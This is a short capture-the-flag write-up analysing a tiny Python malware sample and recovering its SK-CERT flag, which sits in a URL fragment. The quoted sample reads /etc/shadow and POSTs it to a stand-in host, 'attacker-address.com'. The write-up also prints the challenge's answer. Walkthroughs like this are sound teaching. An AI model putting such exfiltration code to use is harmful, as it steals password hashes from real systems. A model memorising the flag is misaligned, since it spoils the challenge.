

Malware Sanity Check – Writeup

Challenge Description

The challenge provided a Python malware sample and asked us to analyze the code to recover the flag.

Challenge title: **Malware Sanity Check - plaintext malware**

Flag format: **SK-CERT{...}**

Provided Malware Sample

```
import requests
shadow = None
with open("/etc/shadow") as f:
    shadow = f.read()

requests.post("attacker-address.com/shadow#SK-CERT{s70l3n_s3cr37s_g03s_70_4774ck3r}", js
```

Analysis

The malware reads the contents of `/etc/shadow`, which contains password hashes on Linux systems.

After reading the file, it sends the stolen data to an attacker-controlled server using an HTTP POST request.

The important observation is that the flag is directly embedded inside the URL:

```
attacker-address.com/shadow#SK-CERT{s70l3n_s3cr37s_g03s_70_4774ck3r}
```

Everything after the `#` symbol is the fragment portion of the URL, and the flag is clearly visible there.

Recovered Flag

SK-CERT{s70l3n_s3cr37s_g03s_70_4774ck3r}

Conclusion

This was a straightforward static malware analysis challenge. No execution or reverse engineering tools were necessary — simply reading the Python source code revealed the flag immediately.

